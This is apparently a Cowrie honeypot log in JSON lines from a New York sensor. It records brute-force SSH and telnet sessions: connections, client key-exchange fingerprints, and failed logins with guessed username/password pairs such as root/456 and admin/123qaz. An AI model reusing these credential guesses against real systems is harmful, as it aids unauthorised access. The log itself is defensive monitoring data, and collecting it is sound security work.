{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.783090Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.799435Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.806469Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":38966,"dst_ip":"10.17.0.5","dst_port":22,"session":"17a8a85ae557","protocol":"ssh","message":"New connection: 165.154.5.148:38966 (10.17.0.5:22) [session: 17a8a85ae557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:30.573705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:30.579226Z","src_ip":"165.154.5.148","session":"17a8a85ae557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:30.801969Z","src_ip":"165.154.5.148","session":"17a8a85ae557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456","message":"login attempt [root/456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:31.740698Z","src_ip":"165.154.5.148","session":"17a8a85ae557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:32.965202Z","src_ip":"165.154.5.148","session":"17a8a85ae557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.118.104","src_port":29731,"dst_ip":"159.203.135.109","dst_port":23,"session":"87e5ccf58e5f","protocol":"telnet","message":"New connection: 31.134.118.104:29731 (159.203.135.109:23) [session: 87e5ccf58e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:46.072311Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57330,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf484bf365f2","protocol":"ssh","message":"New connection: 159.203.92.129:57330 (159.203.135.109:22) [session: cf484bf365f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:52.748888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:52.754026Z","src_ip":"159.203.92.129","session":"cf484bf365f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:52.822015Z","src_ip":"159.203.92.129","session":"cf484bf365f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qaz","message":"login attempt [admin/123qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:52.836169Z","src_ip":"159.203.92.129","session":"cf484bf365f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":47264,"dst_ip":"10.17.0.5","dst_port":22,"session":"a06dc7329487","protocol":"ssh","message":"New connection: 176.53.96.10:47264 (10.17.0.5:22) [session: a06dc7329487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:52.984639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:52.988901Z","src_ip":"176.53.96.10","session":"a06dc7329487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:53.117596Z","src_ip":"176.53.96.10","session":"a06dc7329487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"test123","message":"login attempt [git/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:53.662742Z","src_ip":"176.53.96.10","session":"a06dc7329487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:53.845272Z","src_ip":"159.203.92.129","session":"cf484bf365f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:54.794630Z","src_ip":"176.53.96.10","session":"a06dc7329487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":37790,"dst_ip":"10.17.0.5","dst_port":22,"session":"e82180705b18","protocol":"ssh","message":"New connection: 165.154.5.148:37790 (10.17.0.5:22) [session: e82180705b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:27.582602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:27.587115Z","src_ip":"165.154.5.148","session":"e82180705b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:27.803480Z","src_ip":"165.154.5.148","session":"e82180705b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!p@ssw0rd","message":"login attempt [root/!p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:28.699853Z","src_ip":"165.154.5.148","session":"e82180705b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:29.918538Z","src_ip":"165.154.5.148","session":"e82180705b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44014,"dst_ip":"159.203.135.109","dst_port":22,"session":"31778eb5ce6f","protocol":"ssh","message":"New connection: 159.203.92.129:44014 (159.203.135.109:22) [session: 31778eb5ce6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:37.742015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:37.747082Z","src_ip":"159.203.92.129","session":"31778eb5ce6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:37.752020Z","src_ip":"159.203.92.129","session":"31778eb5ce6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe","message":"login attempt [admin/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:37.769607Z","src_ip":"159.203.92.129","session":"31778eb5ce6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:38.775489Z","src_ip":"159.203.92.129","session":"31778eb5ce6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":44616,"dst_ip":"10.17.0.5","dst_port":22,"session":"d075c62a4e78","protocol":"ssh","message":"New connection: 176.53.96.10:44616 (10.17.0.5:22) [session: d075c62a4e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:50.964346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:50.974622Z","src_ip":"176.53.96.10","session":"d075c62a4e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:51.098373Z","src_ip":"176.53.96.10","session":"d075c62a4e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qaz123...","message":"login attempt [ubuntu/qaz123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:51.617234Z","src_ip":"176.53.96.10","session":"d075c62a4e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:17:52.742614Z","src_ip":"176.53.96.10","session":"d075c62a4e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.009192943573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:07.221588Z","src_ip":"176.29.26.223","session":"908fa5364bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00249123573303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:08.480934Z","src_ip":"176.29.26.223","session":"5c561b48e429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":33137,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5cef069e53","protocol":"telnet","message":"New connection: 176.29.26.223:33137 (159.203.135.109:23) [session: fa5cef069e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:09.573429Z"}
{"eventid":"cowrie.session.closed","duration":120.00103974342346,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:09.605189Z","src_ip":"176.29.26.223","session":"753fa780f7a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":31102,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e452017086","protocol":"telnet","message":"New connection: 176.29.26.223:31102 (159.203.135.109:23) [session: 78e452017086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:11.470663Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":30162,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d999712b2f9","protocol":"telnet","message":"New connection: 176.29.26.223:30162 (159.203.135.109:23) [session: 4d999712b2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:14.959123Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42328,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a9139e63b9d","protocol":"ssh","message":"New connection: 159.203.92.129:42328 (159.203.135.109:22) [session: 7a9139e63b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:21.969933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:21.985899Z","src_ip":"159.203.92.129","session":"7a9139e63b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:21.997098Z","src_ip":"159.203.92.129","session":"7a9139e63b9d","protocol":"ssh"}
